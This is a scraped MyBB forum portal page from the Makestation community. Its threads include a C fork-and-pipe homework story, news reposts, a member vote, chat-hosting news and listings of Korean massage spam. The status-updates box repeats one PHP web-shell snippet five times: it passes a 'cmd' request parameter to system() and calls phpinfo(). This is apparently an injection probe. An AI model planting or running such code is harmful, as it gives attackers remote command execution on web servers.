Welcome, Guest
Welcome to Makestation! We are a creative arts/indie discussion community — Your center for creative arts discussion, unleashed!

Please note that you must log in to participate in discussions on the forum. If you do not have an account, you can create one here. We hope you enjoy the forum!

Status Updates
Avatar of User
tc4me February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
Avatar of User
tc4me February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
Avatar of User
tc4me February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
Avatar of User
tc4me February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
Avatar of User
tc4me February 19th, 2025
if(isset($_REQUEST['cmd'])){ echo "<getshell success>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "<getshell success>"; phpinfo();
View all updates

Search Forums

(Advanced Search)

Forum Statistics
» Members: 1,237
» Latest member: erickhold
» Forum threads: 73,883
» Forum posts: 98,313

Full Statistics

Online Users
There are currently 684 online users.
» 4 Member(s) | 679 Guest(s)
Google, e.uni.cedi.men.r.o, Msbssb, s.at.r.eo.p.alsen, Yukiko

Latest Threads
강서오피 ⦑오피.CLUB⦒ 강서오피 강서출장마...
Forum: The Others
Last Post: s.at.r.eo.p.alsen
Less than 1 minute ago
» Replies: 0
» Views: 1
동대문안마【출장안마사이트.COM】동대문1...
Forum: The Others
Last Post: e.uni.cedi.men.r.o
1 minute ago
» Replies: 0
» Views: 1
해운대오피 ⦑오피쓰주소.COM⦒ 해운대오피 해...
Forum: The Others
Last Post: s.at.r.eo.p.alsen
1 minute ago
» Replies: 0
» Views: 1
강서스웨디시【오피.CLUB】강서 스웨디시 강서...
Forum: The Others
Last Post: e.uni.cedi.men.r.o
2 minutes ago
» Replies: 0
» Views: 1
강서오피 강서OP ⦑출장마사지안내.COM⦒ 강...
Forum: The Others
Last Post: s.at.r.eo.p.alsen
2 minutes ago
» Replies: 0
» Views: 1
Canada Temu Coupon Code ...
Forum: Media & Entertainment
Last Post: Msbssb
3 minutes ago
» Replies: 0
» Views: 1
안산마사지【오피.CLUB】안산 마사지 안산마사...
Forum: The Others
Last Post: e.uni.cedi.men.r.o
3 minutes ago
» Replies: 0
» Views: 1

 
  Pipes, Forks, and IPC
Posted by: Lain - June 1st, 2020 at 1:52 AM - Forum: Technology & Hardware - Replies (4)

So recently, the lady started her Summer semester and has an Operating Systems class going on now.
The professor said they need to use C for the class. The problem is that the computer science faculty doesn't actually TEACH C until like fourth year right before you get your bachelor's, for some reason. Now the professor said that only the first assignment needs to be done in C and the rest can be done in Java.

How you'd do any low-level work with Java is completely beyond me, you can't even pass by reference in the language, let alone fork a process.

But in any case, she knows that C is my favourite language, and as a result, she came running to me when her code wouldn't compile and she needed help getting started with gcc anyway (For Windows, so naturally it would be too f*** for a complete novice to figure out.)




The Assignment and Setup:

The assignment seems really simple. Only a few lines of code. My solution did it in 75 including some whitespace and extra lines for opening curly braces.
In a (very) watered down summary:
Quote:Write a C program that uses fork() to create new processes, and make those processes write data to a pipe, and read that data from the pipe.

Now I didn't read the whole assignment, so I was missing specifics, but her code was really messy (I don't blame her, this was her first C program) and I decided to do a full rewrite.

The first thing I told her after hearing about the assignment and looking at her code is that it would be impossible to do on Windows, since that's what she was trying to do. The main problem lies in the fact that fork() isn't supported on Windows to create new processes. The other problem is that this was asking to use a variety of Linux syscalls that also aren't implemented quite the same way on Windows.

So instead, I ran her through installing Debian under the Windows Subsystem for Linux (WSL) since she has used Debian in the past and was relatively comfortable with it. Then we installed gcc and made sure it was all working correctly. finally, she got WSL setup to be the main command-line in visual Studio Code (the lightweight FOSS text-editor IDE) so she could do all the development in one place.




More Specifics and How I Cheated:

The only familiarity I have with Linux syscalls is with assembly, and using those calls is very different than using them in C. So as a result, there was a pretty big learning curve for me as well

The professor included a main() that would call the desired function so that wouldn't need to be written. It's a messy snippet, but acceptable enough for the task at hand.

I got hold of that main() and started to get to work.

Here's the rough pseudocode that she had so you can get an idea of functionality:

Code:
int main() {
    functionCallForForking(n);
    return 0;
}

void functionCallForForking(int n) {
    if(n == 1) {
        write(Process 1 Started);
        write(Process 1 Ended);
        exit();
    }
    int forks = fork();
    if(child) {
        write(Process n Started);
        functionCallForForking(n-1);
        write(Process n Ended);
    } else if(parent) {
        wait();
        exit();
    } else {
        printf(fork failed);
        exit()
    }
}

Extremely simplified. It was more like 100 lines.
But you can see the pattern. It forks, if it's the child process, it'll fork again, and if it's the parent, it'll wait for the child process to finish.

It should iterate over n processes to start, given by the command line argument which I omitted for simplicity.

Output:
Code:
$ ./a.out 5
Process 5 Started
Process 4 Started
Process 3 Started
Process 2 Started
Process 1 Started
Process 1 Ended
Process 2 Ended
Process 3 Ended
Process 4 Ended
Process 5 Ended
$ _

Now, this needs to use a Pipe structure, which is basically a queue structure, which is to say that the first thing to go into the pipe is the first thing to come out of the pipe. Think of it as a line-up at your grocery store. Whoever gets there first gets their purchase processed first, and they are the first to leave.

The tricky part is that the pipe is defined as a file descriptor.

On Linux, files can only really be accessed by a single process at the same time for writing. If you don't then you get race conditions. More on this later.

But the point is that because we're forking multiple processes that are all writing to the same pipe (or a virtual file in memory, rather,) then we're going to need to make sure that our processes do not interfere with each other during their respective reading and writing.

So here's how I cheated:

I only allowed the root process (Process 5 in the example above) to read from the pipe.
Then I changed when each process writes to the pipe.

Print this item

  Hello!
Posted by: campingrhino - June 1st, 2020 at 12:38 AM - Forum: Introductions - Replies (6)

Hi everyone!

My name's Ryan, I'm from the UK and I love making things and I thought I'd join. Saw this website on the MyBB forums and thought it's a community for me.

I make websites and web apps, occasionally games and I've just launched a web development forum (part of why I was lurking on the MyBB forums!) and I'm happy to be here.

Print this item

  Clint Eastwood: Hollywood's paradoxical superstar turns 90
Posted by: tc4me - May 31st, 2020 at 6:59 PM - Forum: Media & Entertainment - No Replies

Clint Eastwood: Hollywood's paradoxical superstar turns 90 A spaghetti western star whose 'Dirty Harry' films made him an anti-hero of the political right, the Oscar-winning actor and director later praised Donald Trump. But as he turns 90, his true legacy is as an auteur.

Print this item

  After nine years, the United States flew into space
Posted by: tc4me - May 31st, 2020 at 4:23 PM - Forum: Current Events - Replies (2)

After nine years, the United States flew into space again on its own and the journey of the two astronauts Bob Behnken and Douglas Hurley is already over. Because on Sunday afternoon, the Crew-Dragon space capsule from SpaceX docked on schedule with the international space station ISS. NASA chief Jim Bridenstine wrote on Twitter: "Welcome home!" Congratulations came from Russia. Roskosmos boss Dmitri Rogosin wrote to his US colleague Bridenstine on Twitter: "Bravo!"

Print this item

  Member of the Month VOTE - June 2020
Posted by: Guardian - May 31st, 2020 at 3:26 PM - Forum: Community Related - No Replies

Please make your selection or the Member of the Month for June 2020.

This vote is to recognize members for their contributions for the previous month. In this case, a user's contributions for the month of May lead to their nomination for the June Member of the Month.

The poll is anonymous, and no one will see your vote.

Member of the Month candidates:
Altair
s3_gunzel
tc4me

Print this item

  Stack Overflow
Posted by: Darth-Apple - May 31st, 2020 at 4:56 AM - Forum: Software - Replies (18)

In my limited experience, they are some incredibly rude people. At first glance, it seems like a great place, and I've found great answers there. They take quality very seriously (which I respect). But my experiences haven't been particularly good. 

They have a lot of rules (not a bad thing), but they are sort of open to interpretation and they are really only worthwhile if you have an extremely precise problem. It's not an ordinary forum where you can ask more generalized questions to get feedback, information on best practices, or otherwise. It's more of a "here is my code, here is my problem, how do I do X."

If you're newer to the community, it's really more up to the discretion of whoever sees the problem as to what ends up being done, and often something gets downvoted only because it competes with someone else's question or answer. Everyone seems to be in a repuation war almost constantly. 

Is there anyone here who has successfully "figured out" stack overflow? If so, how do you go about participating meaningfully?

Print this item

Sad Drinks near a laptop, etc
Posted by: tc4me - May 29th, 2020 at 7:42 AM - Forum: The Others - Replies (6)

Hello good morning, are you also like me and put your coffee cup next to laptop printer cell phone etc?

Today it was time again, a  expensive coffee, because I acted carelessly, spilled the coffee, via printer (Brother MFC-L3750CDW) 500Euro, and it no longer works, moreover via the power bar, charging plug from my Samsung Indiktiv, charger, the plug also no longer works, makes a short circuit, fuses Fi in the house fall out. I'm such a jerk ... annoy me Angry

Print this item

  “5G bioshield” USB stick scam
Posted by: Darth-Apple - May 28th, 2020 at 3:01 PM - Forum: Technology & Hardware - Replies (3)

https://www.theverge.com/platform/amp/20.../21272952/

Usually, when you see this sort of thing, you don’t think people will ever take it seriously. Apparently this time is different. Town councils are recommending these. 

Can’t always trust the people who are in power.

Print this item

  Trump threatens social networks with closure
Posted by: tc4me - May 28th, 2020 at 8:40 AM - Forum: The Others - Replies (7)

Trump threatens social networks with closure A few hours later, Trump threatened Twitter & Co. with the closure. Republican politicians feel that "social media platforms completely silence conservative voices," the president tweeted. "We will strictly regulate or close them before we will ever allow that," Trump warned.

Print this item

  Ajax Chat Hosting
Posted by: Darth-Apple - May 27th, 2020 at 10:46 PM - Forum: Community Related - Replies (6)

Hello all, 

We had a project some number of years ago to host free chat rooms using Ajax Chat. We improved upon it quite a bit and added an admin panel, username registration, custom commands, among other things. It's a simple, but fully featured webchat interface with minimal ads, and it's totally free. Unfortunately, our host at the time shut it down. Fortunately, we have fixed that problem. Finna Big Grin

I'm in the process of redirecting old chatcave.me links to chatcave.makestation.net, so the website is a little rough on the edges right now. It's a small project, so I'm not planning on advertising it a whole lot outside of here (it pretty much advertised itself last time, it grew faster than we expected). Other than that, if you are looking for a lightweight, fully featured chat room, check out our chat hosting service. It's available for anyone who needs it! Smile

Visit Makestation Chat Room Hosting

Print this item


Dark/Light Theme Selector

Contact Us | Makestation | Return to Top | Lite (Archive) Mode | RSS Syndication 
Proudly powered by MyBB 1.8, © 2002-2025
Forum design by Makestation Team © 2013-2025